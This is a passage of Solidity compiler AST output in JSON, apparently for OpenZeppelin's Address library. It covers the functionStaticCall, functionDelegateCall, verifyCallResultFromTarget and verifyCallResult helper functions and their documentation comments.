memory)"}},"nodeType":"VariableDeclarationStatement","src":"6348:65:37"},{"expression":{"arguments":[{"id":48703,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48684,"src":"6457:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48704,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48694,"src":"6465:7:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":48705,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48696,"src":"6474:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48706,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48688,"src":"6486:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48702,"name":"verifyCallResultFromTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48795,"src":"6430:26:37","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bool,bytes memory,string memory) view returns (bytes memory)"}},"id":48707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6430:69:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48692,"id":48708,"nodeType":"Return","src":"6423:76:37"}]},"documentation":{"id":48682,"nodeType":"StructuredDocumentation","src":"6002:173:37","text":" @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n but performing a static call.\n _Available since v3.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionStaticCall","nameLocation":"6189:18:37","parameters":{"id":48689,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48684,"mutability":"mutable","name":"target","nameLocation":"6225:6:37","nodeType":"VariableDeclaration","scope":48710,"src":"6217:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48683,"name":"address","nodeType":"ElementaryTypeName","src":"6217:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48686,"mutability":"mutable","name":"data","nameLocation":"6254:4:37","nodeType":"VariableDeclaration","scope":48710,"src":"6241:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48685,"name":"bytes","nodeType":"ElementaryTypeName","src":"6241:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48688,"mutability":"mutable","name":"errorMessage","nameLocation":"6282:12:37","nodeType":"VariableDeclaration","scope":48710,"src":"6268:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48687,"name":"string","nodeType":"ElementaryTypeName","src":"6268:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6207:93:37"},"returnParameters":{"id":48692,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48691,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48710,"src":"6324:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48690,"name":"bytes","nodeType":"ElementaryTypeName","src":"6324:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6323:14:37"},"scope":48840,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48727,"nodeType":"FunctionDefinition","src":"6685:198:37","nodes":[],"body":{"id":48726,"nodeType":"Block","src":"6782:101:37","nodes":[],"statements":[{"expression":{"arguments":[{"id":48721,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48713,"src":"6820:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48722,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48715,"src":"6828:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564","id":48723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6834:41:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398","typeString":"literal_string \"Address: low-level delegate call failed\""},"value":"Address: low-level delegate call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398","typeString":"literal_string \"Address: low-level delegate call failed\""}],"id":48720,"name":"functionDelegateCall","nodeType":"Identifier","overloadedDeclarations":[48727,48756],"referencedDeclaration":48756,"src":"6799:20:37","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) returns (bytes memory)"}},"id":48724,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6799:77:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48719,"id":48725,"nodeType":"Return","src":"6792:84:37"}]},"documentation":{"id":48711,"nodeType":"StructuredDocumentation","src":"6512:168:37","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but performing a delegate call.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionDelegateCall","nameLocation":"6694:20:37","parameters":{"id":48716,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48713,"mutability":"mutable","name":"target","nameLocation":"6723:6:37","nodeType":"VariableDeclaration","scope":48727,"src":"6715:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48712,"name":"address","nodeType":"ElementaryTypeName","src":"6715:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48715,"mutability":"mutable","name":"data","nameLocation":"6744:4:37","nodeType":"VariableDeclaration","scope":48727,"src":"6731:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48714,"name":"bytes","nodeType":"ElementaryTypeName","src":"6731:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6714:35:37"},"returnParameters":{"id":48719,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48718,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48727,"src":"6768:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48717,"name":"bytes","nodeType":"ElementaryTypeName","src":"6768:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6767:14:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48756,"nodeType":"FunctionDefinition","src":"7069:325:37","nodes":[],"body":{"id":48755,"nodeType":"Block","src":"7224:170:37","nodes":[],"statements":[{"assignments":[48740,48742],"declarations":[{"constant":false,"id":48740,"mutability":"mutable","name":"success","nameLocation":"7240:7:37","nodeType":"VariableDeclaration","scope":48755,"src":"7235:12:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48739,"name":"bool","nodeType":"ElementaryTypeName","src":"7235:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48742,"mutability":"mutable","name":"returndata","nameLocation":"7262:10:37","nodeType":"VariableDeclaration","scope":48755,"src":"7249:23:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48741,"name":"bytes","nodeType":"ElementaryTypeName","src":"7249:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":48747,"initialValue":{"arguments":[{"id":48745,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48732,"src":"7296:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":48743,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48730,"src":"7276:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48744,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7283:12:37","memberName":"delegatecall","nodeType":"MemberAccess","src":"7276:19:37","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":48746,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7276:25:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"7234:67:37"},{"expression":{"arguments":[{"id":48749,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48730,"src":"7345:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48750,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48740,"src":"7353:7:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":48751,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48742,"src":"7362:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48752,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48734,"src":"7374:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48748,"name":"verifyCallResultFromTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48795,"src":"7318:26:37","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bool,bytes memory,string memory) view returns (bytes memory)"}},"id":48753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7318:69:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48738,"id":48754,"nodeType":"Return","src":"7311:76:37"}]},"documentation":{"id":48728,"nodeType":"StructuredDocumentation","src":"6889:175:37","text":" @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n but performing a delegate call.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionDelegateCall","nameLocation":"7078:20:37","parameters":{"id":48735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48730,"mutability":"mutable","name":"target","nameLocation":"7116:6:37","nodeType":"VariableDeclaration","scope":48756,"src":"7108:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48729,"name":"address","nodeType":"ElementaryTypeName","src":"7108:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48732,"mutability":"mutable","name":"data","nameLocation":"7145:4:37","nodeType":"VariableDeclaration","scope":48756,"src":"7132:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48731,"name":"bytes","nodeType":"ElementaryTypeName","src":"7132:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48734,"mutability":"mutable","name":"errorMessage","nameLocation":"7173:12:37","nodeType":"VariableDeclaration","scope":48756,"src":"7159:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48733,"name":"string","nodeType":"ElementaryTypeName","src":"7159:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7098:93:37"},"returnParameters":{"id":48738,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48737,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48756,"src":"7210:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48736,"name":"bytes","nodeType":"ElementaryTypeName","src":"7210:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7209:14:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48795,"nodeType":"FunctionDefinition","src":"7682:628:37","nodes":[],"body":{"id":48794,"nodeType":"Block","src":"7876:434:37","nodes":[],"statements":[{"condition":{"id":48770,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48761,"src":"7890:7:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":48792,"nodeType":"Block","src":"8246:58:37","statements":[{"expression":{"arguments":[{"id":48788,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48763,"src":"8268:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48789,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48765,"src":"8280:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48787,"name":"_revert","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48839,"src":"8260:7:37","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,string memory) pure"}},"id":48790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8260:33:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48791,"nodeType":"ExpressionStatement","src":"8260:33:37"}]},"id":48793,"nodeType":"IfStatement","src":"7886:418:37","trueBody":{"id":48786,"nodeType":"Block","src":"7899:341:37","statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48774,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":48771,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48763,"src":"7917:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":48772,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7928:6:37","memberName":"length","nodeType":"MemberAccess","src":"7917:17:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":48773,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7938:1:37","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7917:22:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48783,"nodeType":"IfStatement","src":"7913:286:37","trueBody":{"id":48782,"nodeType":"Block","src":"7941:258:37","statements":[{"expression":{"arguments":[{"arguments":[{"id":48777,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48759,"src":"8143:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":48776,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48528,"src":"8132:10:37","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":48778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8132:18:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374","id":48779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8152:31:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad","typeString":"literal_string \"Address: call to non-contract\""},"value":"Address: call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad","typeString":"literal_string \"Address: call to non-contract\""}],"id":48775,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"8124:7:37","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8124:60:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48781,"nodeType":"ExpressionStatement","src":"8124:60:37"}]}},{"expression":{"id":48784,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48763,"src":"8219:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48769,"id":48785,"nodeType":"Return","src":"8212:17:37"}]}}]},"documentation":{"id":48757,"nodeType":"StructuredDocumentation","src":"7400:277:37","text":" @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n _Available since v4.8._"},"implemented":true,"kind":"function","modifiers":[],"name":"verifyCallResultFromTarget","nameLocation":"7691:26:37","parameters":{"id":48766,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48759,"mutability":"mutable","name":"target","nameLocation":"7735:6:37","nodeType":"VariableDeclaration","scope":48795,"src":"7727:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48758,"name":"address","nodeType":"ElementaryTypeName","src":"7727:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48761,"mutability":"mutable","name":"success","nameLocation":"7756:7:37","nodeType":"VariableDeclaration","scope":48795,"src":"7751:12:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48760,"name":"bool","nodeType":"ElementaryTypeName","src":"7751:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48763,"mutability":"mutable","name":"returndata","nameLocation":"7786:10:37","nodeType":"VariableDeclaration","scope":48795,"src":"7773:23:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48762,"name":"bytes","nodeType":"ElementaryTypeName","src":"7773:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48765,"mutability":"mutable","name":"errorMessage","nameLocation":"7820:12:37","nodeType":"VariableDeclaration","scope":48795,"src":"7806:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48764,"name":"string","nodeType":"ElementaryTypeName","src":"7806:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7717:121:37"},"returnParameters":{"id":48769,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48768,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48795,"src":"7862:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48767,"name":"bytes","nodeType":"ElementaryTypeName","src":"7862:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7861:14:37"},"scope":48840,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48819,"nodeType":"FunctionDefinition","src":"8531:295:37","nodes":[],"body":{"id":48818,"nodeType":"Block","src":"8691:135:37","nodes":[],"statements":[{"condition":{"id":48807,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48798,"src":"8705:7:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":48816,"nodeType":"Block","src":"8762:58:37","statements":[{"expression":{"arguments":[{"id":48812,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48800,"src":"8784:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48813,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48802,"src":"8796:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48811,"name":"_revert","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48839,"src":"8776:7:37","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,string memory) pure"}},"id":48814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8776:33:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48815,"nodeType":"ExpressionStatement","src":"8776:33:37"}]},"id":48817,"nodeType":"IfStatement","src":"8701:119:37","trueBody":{"id":48810,"nodeType":"Block","src":"8714:42:37","statements":[{"expression":{"id":48808,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48800,"src":"8735:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48806,"id":48809,"nodeType":"Return","src":"8728:17:37"}]}}]},"documentation":{"id":48796,"nodeType":"StructuredDocumentation","src":"8316:210:37","text":" @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n revert reason or using the provided one.\n _Available since v4.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"verifyCallResult","nameLocation":"8540:16:37","parameters":{"id":48803,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48798,"mutability":"mutable","name":"success","nameLocation":"8571:7:37","nodeType":"VariableDeclaration","scope":48819,"src":"8566:12:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48797,"name":"bool","nodeType":"ElementaryTypeName","src":"8566:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48800,"mutability":"mutable","name":"returndata","nameLocation":"8601:10:37","nodeType":"VariableDeclaration","scope":48819,"src":"8588:23:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48799,"name":"bytes","nodeType":"ElementaryTypeName","src":"8588:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48802,"mutability":"mutable","name":"errorMessage","nameLocation":"8635:12:37","nodeType":"VariableDeclaration","scope":48819,"src":"8621:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48801,"name":"string","nodeType":"ElementaryTypeName","src":"8621:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8556:97:37"},"returnParameters":{"id":48806,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48805,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48819,"src":"8677:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48804,"name":"bytes","nodeType":"ElementaryTypeName","src":"8677:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"8676:14:37"},"scope":48840,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":48839,"nodeType":"FunctionDefinition","src":"8832:540:37","nodes":[],"body":{"id":48838,"nodeType":"Block","src":"8915:457:37","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48829,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":48826,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48821,"src":"8991:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":48827,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9002:6:37","memberName":"length","nodeType":"MemberAccess","src":"8991:17:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":48828,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9011:1:37","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"8991:21:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":48836,"nodeType":"Block","src":"9321:45:37","statements":[{"expression":{"arguments":[{"id":48833,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48823,"src":"9342:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48832,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"9335:6:37","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) 